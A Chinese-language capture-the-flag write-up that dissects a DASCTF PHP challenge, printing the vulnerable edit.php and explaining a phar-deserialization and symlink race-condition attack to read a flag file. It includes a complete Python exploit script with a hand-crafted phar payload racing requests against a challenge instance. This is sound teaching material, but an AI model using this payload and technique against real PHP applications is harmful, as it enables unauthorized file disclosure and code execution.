自己的理解

简单分析

上周末dsactf的一道题,赛后自己自己看着作者的wp研究了一下,发现很多师傅都是用条件竞争打的,然后我在自己的机器上试了很多次都没结果,分析了一下,其实这道题用条件竞争读到flag是非预期,buuoj的平台不能一次性发送大量的包,否则会429错误。而且不难发现它这个edit.php可以使用条件竞争的地方还是要经过大量的调试的

edit.php:

<?php
ini_set("error_reporting","0");
class flag{
    public function copyflag(){
        exec("/copyflag"); //以root权限复制/flag 到 /tmp/flag.txt,并chown www-data:www-data /tmp/flag.txt
        echo "SFTQL";
    }
    public function __destruct(){
        $this->copyflag();
    }

}

function filewrite($file,$data){
        unlink($file);
        file_put_contents($file, $data);
}


if(isset($_POST['png'])){
    $filename = $_POST['png'];
    if(!preg_match("/:|phar|\/\/|php/im",$filename)){
        $f = fopen($filename,"r");
        $contents = fread($f, filesize($filename));
        if(strpos($contents,"flag{") !== false){
            filewrite($filename,"Don't give me flag!!!");
        }
    }

    if(isset($_POST['flag'])) {
        $flag = (string)$_POST['flag'];
        if ($flag == "Give me flag") {
            filewrite("/tmp/flag.txt", "Don't give me flag");
            sleep(2);
            die("no no no !");
        } else {
            filewrite("/tmp/flag.txt", $flag);  //不给我看我自己写个flag。
        }
        $head = "uploads/head.png";
        unlink($head);                          //“删除文件”,即解除与"uploads/head.png"的软链接
        if (symlink($filename, $head)) {        //可以使symlink()报错返回false从而运行unlink()从而可以phar反序列化执行__destruct()
            echo "成功更换头像";
        } else {
            unlink($filename);
            echo "非正常文件,已被删除";
        };
    }
}

这里的思路是:

  1. 利用文件上传上传 phar文件

  2. 写入超长文件名使得 symlink()函数出错返回 false

  3. unlink()触发 phar 反序列化将flag写入到可读的/tmp/flag.txt

  4. 建立与 /tmp/flag.txtuploads/head.png 的软连接

  5. 在建立与 /tmp/flag.txt 的软链接之前程序会将原来写入的flag给覆盖掉。所以要在覆盖flag后,另一个线程已经在copy /falg/tmp/flag.txt,这样 /uploads/head.png/tmp/flag.txt建立了链接,同时flag也没有被覆盖,然后访问 /uploads/head.png读取即可。

这里难点就是要抓住这个时机

exp

# 本脚本来自Carrot2
import random
from multiprocessing import Process
import requests
import time

session = requests.session()

proxies = {
    "http": "http://127.0.0.1:8080",
    "https": "http://127.0.0.1:8080"
}
url = "http://3f33abdf-13d3-41ad-8449-99748055ffda.node4.buuoj.cn:81"

def fun1():
    global url, burp0_headers
    # time.sleep(1)
    burp0_url = url + '/edit.php'
    burp0_data = {
        "png": "phar://uploads/fe409167fb98b72dcaff5486a612a575.png/test.txt/" + 'x' * 5000,
        "flag": "flag{x}"}
    print(1, time.time_ns())
    r = session.post(burp0_url, data=burp0_data, proxies=proxies)
    print(1, time.time_ns(), r.elapsed)
    # print(r.text)


def fun2():
    global url, burp0_headers
    burp0_url = url + '/edit.php'
    burp0_data = {
        "png": "/tmp/flag.txt",
        "flag": "G"
    }
    time.sleep(random.random() / 7)
    print(2, time.time_ns())
    r = session.post(burp0_url, data=burp0_data, proxies=proxies)
    print(2, time.time_ns(), r.elapsed)


def fun3():
    global url, burp0_headers
    burp0_url = url + '/uploads/head.png'
    r = session.get(burp0_url, proxies=proxies)


def fun0():
    global url
    burp0_url = url + "/upload.php"
    burp0_headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
                     "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate",
                     "Content-Type": "multipart/form-data; boundary=---------------------------33274515982456441596545310848"}
    burp0_data = "-----------------------------33274515982456441596545310848\r\nContent-Disposition: form-data; name=\"file\"; filename=\"phar.phar\"\r\nContent-Type: application/octet-stream\r\n\r\n<?php __HALT_COMPILER(); ?>\r\nE\x00\x00\x00\x01\x00\x00\x00\x11\x00\x00\x00\x01\x00\x00\x00\x00\x00\x0f\x00\x00\x00O:4:\"flag\":0:{}\x08\x00\x00\x00test.txt\x04\x00\x00\x007\x88cb\x04\x00\x00\x00\x0c~\xd8\xb6\x01\x00\x00\x00\x00\x00\x00test^p\xef\x02_\x1d\x8e\xa2\xf9\xbe\x95\xbc\xba<\xb7AbB\xfdD\x02\x00\x00\x00GBMB\r\n-----------------------------33274515982456441596545310848--\r\n"
    requests.post(burp0_url, headers=burp0_headers, data=burp0_data)


if __name__ == '__main__':
    fun0()
    process_list = []
    for i in range(50):
        p1 = Process(target=fun1, )

        process_list.append(p1)
        p2 = Process(target=fun2, )

        process_list.append(p2)
        p3 = Process(target=fun3, )

        process_list.append(p3)

        p1.start()
        p2.start()
        time.sleep(0.5)
        p3.start()
        time.sleep(1)

设置了代理,进bp盯着就行了。

注意:该题的利用条件竞争读取的概率还是有点低的,受环境影响,这个时间差要自己多次调试才能成功。

出题人的wp

这里附上出题人的解法。(很全面)

http://max666.fun/21.html